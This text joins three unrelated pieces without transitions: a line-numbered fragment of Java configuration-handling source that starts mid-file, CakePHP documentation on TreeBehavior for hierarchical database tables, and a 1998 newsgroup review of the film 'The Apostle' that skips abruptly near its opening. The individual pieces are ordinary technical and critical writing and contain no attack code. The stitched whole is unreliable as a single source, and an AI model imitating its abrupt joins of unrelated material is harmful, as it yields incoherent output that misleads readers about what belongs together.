765 } 766 767 /** 768 * Removes this combined configuration as listener from all child configurations. This method is called on a clear() 769 * operation. 770 */ 771 private void unregisterListenerAtChildren() { 772 if (configurations != null) { 773 for (final ConfigData child : configurations) { 774 unregisterListenerAt(child.getConfiguration()); 775 } 776 } 777 } 778 779 /** 780 * Returns the number of child configurations in this combined configuration. The internal list of child configurations 781 * is accessed without synchronization. 782 * 783 * @return the number of child configurations 784 */ 785 private int getNumberOfConfigurationsInternal() { 786 return configurations.size(); 787 } 788 789 /** 790 * An internal helper class for storing information about contained configurations. 791 */ 792 private class ConfigData { 793 /** Stores a reference to the configuration. */ 794 private final Configuration configuration; 795 796 /** Stores the name under which the configuration is stored. */ 797 private final String name; 798 799 /** Stores the at information as path of nodes. */ 800 private final Collection<String> atPath; 801 802 /** Stores the at string. */ 803 private final String at; 804 805 /** Stores the root node for this child configuration. */ 806 private ImmutableNode rootNode; 807 808 /** 809 * Creates a new instance of {@code ConfigData} and initializes it. 810 * 811 * @param config the configuration 812 * @param n the name 813 * @param at the at position 814 */ 815 public ConfigData(final Configuration config, final String n, final String at) { 816 configuration = config; 817 name = n; 818 atPath = parseAt(at); 819 this.at = at; 820 } 821 822 /** 823 * Returns the stored configuration. 824 * 825 * @return the configuration 826 */ 827 public Configuration getConfiguration() { 828 return configuration; 829 } 830 831 /** 832 * Returns the configuration's name. 833 * 834 * @return the name 835 */ 836 public String getName() { 837 return name; 838 } 839 840 /** 841 * Returns the at position of this configuration. 842 * 843 * @return the at position 844 */ 845 public String getAt() { 846 return at; 847 } 848 849 /** 850 * Returns the root node for this child configuration. 851 * 852 * @return the root node of this child configuration 853 * @since 1.5 854 */ 855 public ImmutableNode getRootNode() { 856 return rootNode; 857 } 858 859 /** 860 * Returns the transformed root node of the stored configuration. The term "transformed" means that an 861 * eventually defined at path has been applied. 862 * 863 * @return the transformed root node 864 */ 865 public ImmutableNode getTransformedRoot() { 866 final ImmutableNode configRoot = getRootNodeOfConfiguration(); 867 return atPath == null ? configRoot : prependAtPath(configRoot); 868 } 869 870 /** 871 * Prepends the at path to the given node. 872 * 873 * @param node the root node of the represented configuration 874 * @return the new root node including the at path 875 */ 876 private ImmutableNode prependAtPath(final ImmutableNode node) { 877 final ImmutableNode.Builder pathBuilder = new ImmutableNode.Builder(); 878 final Iterator<String> pathIterator = atPath.iterator(); 879 prependAtPathComponent(pathBuilder, pathIterator.next(), pathIterator, node); 880 return new ImmutableNode.Builder(1).addChild(pathBuilder.create()).create(); 881 } 882 883 /** 884 * Handles a single component of the at path. A corresponding node is created and added to the hierarchical path to the 885 * original root node of the configuration. 886 * 887 * @param builder the current node builder object 888 * @param currentComponent the name of the current path component 889 * @param components an iterator with all components of the at path 890 * @param orgRoot the original root node of the wrapped configuration 891 */ 892 private void prependAtPathComponent(final ImmutableNode.Builder builder, final String currentComponent, final Iterator<String> components, 893 final ImmutableNode orgRoot) { 894 builder.name(currentComponent); 895 if (components.hasNext()) { 896 final ImmutableNode.Builder childBuilder = new ImmutableNode.Builder(); 897 prependAtPathComponent(childBuilder, components.next(), components, orgRoot); 898 builder.addChild(childBuilder.create()); 899 } else { 900 builder.addChildren(orgRoot.getChildren()); 901 builder.addAttributes(orgRoot.getAttributes()); 902 builder.value(orgRoot.getValue()); 903 } 904 } 905 906 /** 907 * Obtains the root node of the wrapped configuration. If necessary, a hierarchical representation of the configuration 908 * has to be created first. 909 * 910 * @return the root node of the associated configuration 911 */ 912 private ImmutableNode getRootNodeOfConfiguration() { 913 getConfiguration().lock(LockMode.READ); 914 try { 915 final ImmutableNode root = ConfigurationUtils.convertToHierarchical(getConfiguration(), conversionExpressionEngine).getNodeModel() 916 .getInMemoryRepresentation(); 917 rootNode = root; 918 return root; 919 } finally { 920 getConfiguration().unlock(LockMode.READ); 921 } 922 } 923 924 /** 925 * Splits the at path into its components. 926 * 927 * @param at the at string 928 * @return a collection with the names of the single components 929 */ 930 private Collection<String> parseAt(final String at) { 931 if (at == null) { 932 return null; 933 } 934 935 final Collection<String> result = new ArrayList<>(); 936 final DefaultConfigurationKey.KeyIterator it = new DefaultConfigurationKey(AT_ENGINE, at).iterator(); 937 while (it.hasNext()) { 938 result.add(it.nextKey()); 939 } 940 return result; 941 } 942 } 943}


Cake\ORM\Behavior\
TreeBehavior
¶It’s fairly common to want to store hierarchical data in a database table. Examples of such data might be categories with unlimited subcategories, data related to a multilevel menu system or a literal representation of hierarchy such as departments in a company.
Relational databases are usually not well suited for storing and retrieving this type of data, but there are a few known techniques that can make them effective for working with multi-level information.
The TreeBehavior helps you maintain a hierarchical data structure in the database that can be queried without much overhead and helps reconstruct the tree data for finding and displaying processes.
This behavior requires the following columns in your table:
parent_id
(nullable) The column holding the ID of the parent rowlft
(integer, signed) Used to maintain the tree structurerght
(integer, signed) Used to maintain the tree structureYou can configure the name of those fields should you need to customize them. More information on the meaning of the fields and how they are used can be found in this article describing the MPTT logic
Warning
The TreeBehavior does not support composite primary keys at this point in time.
You enable the Tree behavior by adding it to the Table you want to store hierarchical data in:
class CategoriesTable extends Table
{
public function initialize(array $config)
{
$this->addBehavior('Tree');
}
}
Once added, you can let CakePHP build the internal structure if the table is already holding some rows:
$categories = TableRegistry::get('Categories');
$categories->recover();
You can verify it works by getting any row from the table and asking for the count of descendants it has:
$node = $categories->get(1);
echo $categories->childCount($node);
Getting a flat list of the descendants for a node is equally easy:
$descendants = $categories->find('children', ['for' => 1]);
foreach ($descendants as $category) {
echo $category->name . "\n";
}
If you need to pass conditions you do so as per normal:
$descendants = $categories
->find('children', ['for' => 1])
->where(['name LIKE' => '%Foo%']);
foreach ($descendants as $category) {
echo $category->name . "\n";
}
If you instead need a threaded list, where children for each node are nested in a hierarchy, you can stack the ‘threaded’ finder:
$children = $categories
->find('children', ['for' => 1])
->find('threaded')
->toArray();
foreach ($children as $child) {
echo "{$child->name} has " . count($child->children) . " direct children";
}
Traversing threaded results usually requires recursive functions in, but if you only require a result set containing a single field from each level so you can display a list, in an HTML select for example, it is better to use the ‘treeList’ finder:
$list = $categories->find('treeList');
// In a CakePHP template file:
echo $this->Form->control('categories', ['options' => $list]);
// Or you can output it in plain text, for example in a CLI script
foreach ($list as $categoryName) {
echo $categoryName . "\n";
}
The output will be similar to:
My Categories
_Fun
__Sport
___Surfing
___Skating
_Trips
__National
__International
The treeList
finder takes a number of options:
keyPath
: A dot separated path to fetch the field to use for the array key,
or a closure to return the key out of the provided row.valuePath
: A dot separated path to fetch the field to use for the array
value, or a closure to return the value out of the provided row.spacer
: A string to be used as prefix for denoting the depth in the tree
for each itemAn example of all options in use is:
$query = $categories->find('treeList', [
'keyPath' => 'url',
'valuePath' => 'id',
'spacer' => ' '
]);
One very common task is to find the tree path from a particular node to the root of the tree. This is useful, for example, for adding the breadcrumbs list for a menu structure:
$nodeId = 5;
$crumbs = $categories->find('path', ['for' => $nodeId]);
foreach ($crumbs as $crumb) {
echo $crumb->name . ' > ';
}
Trees constructed with the TreeBehavior cannot be sorted by any column other
than lft
, this is because the internal representation of the tree depends on
this sorting. Luckily, you can reorder the nodes inside the same level without
having to change their parent:
$node = $categories->get(5);
// Move the node so it shows up one position up when listing children.
$categories->moveUp($node);
// Move the node to the top of the list inside the same level.
$categories->moveUp($node, true);
// Move the node to the bottom.
$categories->moveDown($node, true);
If the default column names that are used by this behavior don’t match your own schema, you can provide aliases for them:
public function initialize(array $config)
{
$this->addBehavior('Tree', [
'parent' => 'ancestor_id', // Use this instead of parent_id
'left' => 'tree_left', // Use this instead of lft
'right' => 'tree_right' // Use this instead of rght
]);
}
Knowing the depth of tree nodes can be useful when you want to retrieve nodes
only upto a certain level for e.g. when generating menus. You can use the
level
option to specify the field that will save level of each node:
$this->addBehavior('Tree', [
'level' => 'level', // Defaults to null, i.e. no level saving
]);
If you don’t want to cache the level using a db field you can use
TreeBehavior::getLevel()
method to get level of a node.
Sometimes you want to persist more than one tree structure inside the same table, you can achieve that by using the ‘scope’ configuration. For example, in a locations table you may want to create one tree per country:
class LocationsTable extends Table
{
public function initialize(array $config)
{
$this->addBehavior('Tree', [
'scope' => ['country_name' => 'Brazil']
]);
}
}
In the previous example, all tree operations will be scoped to only the rows
having the column country_name
set to ‘Brazil’. You can change the scoping
on the fly by using the ‘config’ function:
$this->behaviors()->Tree->config('scope', ['country_name' => 'France']);
Optionally, you can have a finer grain control of the scope by passing a closure as the scope:
$this->behaviors()->Tree->config('scope', function ($query) {
$country = $this->getConfigureContry(); // A made-up function
return $query->where(['country_name' => $country]);
});
New in version 3.0.14.
By default, recover() sorts the items using the primary key. This works great if this is a numeric (auto increment) column, but can lead to weird results if you use UUIDs.
If you need custom sorting for the recovery, you can set a custom order clause in your config:
$this->addBehavior('Tree', [
'recoverOrder' => ['country_name' => 'DESC'],
]);
When using the Tree behavior, you usually don’t need to worry about the internal representation of the hierarchical structure. The positions where nodes are placed in the tree are deduced from the ‘parent_id’ column in each of your entities:
$aCategory = $categoriesTable->get(10);
$aCategory->parent_id = 5;
$categoriesTable->save($aCategory);
Providing inexistent parent ids when saving or attempting to create a loop in the tree (making a node child of itself) will throw an exception.
You can make a node a root in the tree by setting the ‘parent_id’ column to null:
$aCategory = $categoriesTable->get(10);
$aCategory->parent_id = null;
$categoriesTable->save($aCategory);
Children for the new root node will be preserved.
Deleting a node and all its sub-tree (any children it may have at any depth in the tree) is trivial:
$aCategory = $categoriesTable->get(10);
$categoriesTable->delete($aCategory);
The TreeBehavior will take care of all internal deleting operations for you. It is also possible to only delete one node and re-assign all children to the immediately superior parent node in the tree:
$aCategory = $categoriesTable->get(10);
$categoriesTable->removeFromTree($aCategory);
$categoriesTable->delete($aCategory);
All children nodes will be kept and a new parent will be assigned to them.
The deletion of a node is based off of the lft and rght values of the entity. This is important to note when looping through the various children of a node for conditional deletes:
$descendants = $teams->find('children', ['for' => 1]);
foreach ($descendants as $descendant) {
$team = $teams->get($descendant->id); // search for the up-to-date entity object
if ($team->expired) {
$teams->delete($team); // deletion reorders the lft and rght of database entries
}
}
The TreeBehavior reorders the lft and rght values of records in the table when a node
is deleted. As such, the lft and rght values of the entities inside $descendants
(saved before the delete operation) will be inaccurate. Entities will have to be loaded
and modified on the fly to prevent inconsistencies in the table.


Can I hear an Amen?
The Apostle A Film Review By Michael Redman Copyright 1998 Michael Redman
**** (out of ****)
Fanatics are odd birds. They eat, breathe and sleep their obsession and will grab any possible opportunity to tell you all about it. Commendable in their energy and devotion, they are usually best admired at a safe distance. Up close and personal, they're too up close and personal.
  A devoted family man, he hits the sheets with his conquests with the same passion. He's a man of peace, but hitting comes natural.
In the middle of the night, he senses that something is amiss. Jumping in his car and racing home, he discovers his long-suffering wife Jessie (Farrah Fawcett) bedding down the local youth minister Horace (Todd Allen).
Hot-headed Sonny doesn't take the situation well.  Jessie's flinch reflex whenever he reaches towards her is telling. In the business of saving souls, he has been unable to save his marriage.
To make matters worse, Jessie has manipulated the church bylaws to take his congregation away from him. Seeing her and her lover together at his son's softball game sends Sonny over the edge and in a fit of rage he takes a baseball bat to Horace's head.
Realizing that he has done a _wrong_thing_, Sonny dumps his car and wallet in a river. He is born again again, dubs himself "The Apostle E.F." and sets out to redeem his life. Leaving Texas and lead by the Lord to Bayou Boutte, a small Louisiana town, he meets up with Brother Blackwell (John Beasley).
Blackwell has retired from preaching after two heart attacks, but still has an empty church. He is convinced of E.F.'s dedication and gives him the building to use. The Apostle takes on his new church "One Way Road To Heaven" with a vengeance: rebuilding the chapel, creating a church bus out of scrap and gathering his flock. Soon they are singing, clapping and testifying.
This film is Duvall's baby. After attempting to get a studio interested in it for over a decade, he put up the money himself. He also directed, executive-produced, wrote it and is in every scene. In the hands of a lesser actor, it would be a disaster. Instead, it is a masterpiece.
E.F. is a complicated man. Cinema's treatment of Christianity has generally concentrated on one-dimensional squeaky clean folk or corrupt money-grubbing evangelists with no room for anyone in-between. Duvall gives us a real and certainly imperfect person. Sonny is filled with energy. He doesn't walk anywhere: he struts, jumps and dances wherever he goes. Running away from or towards something, he doesn't have to time to saunter. His enthusiasm for his god is unmistakable as is the fact that he's a guy with some serious problems. There ain't none of us saints.
With a strong cast (including June Carter Cash, Billy Bob Thornton and an under-used Miranda Richardson) backing him up, Duvall shows us a personal tale of a very flawed man. If there is a problem with the characters, it is that, other than E.F., they are underdeveloped. Everyone exists only as a connection to the preacher, but then, this is his story from his eyes.
Using church-goers and evangelists rather than professional actors as extras, the film has an air of authenticity. The "Amen"s feel real. The revivals are energized. E.F.'s final sermon is a wonder of ebullience.
I don't have much patience for religious snake-oil salesmen, but this film isn't about religion. It's about the Apostle E.F. lost and found; redeemed but tainted. As those preachers of a different faith said, it's a long strange trip.
[This appeared in the 3/5/98 "Bloomington Voice", Bloomington, Indiana. Michael Redman can be contacted at<EMAIL_ADDRESS>--<EMAIL_ADDRESS>This week's film review at http://www.bvoice.com/ Film reviews archive at http://us.imdb.com/M/reviews_by?Michael%20Redman
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews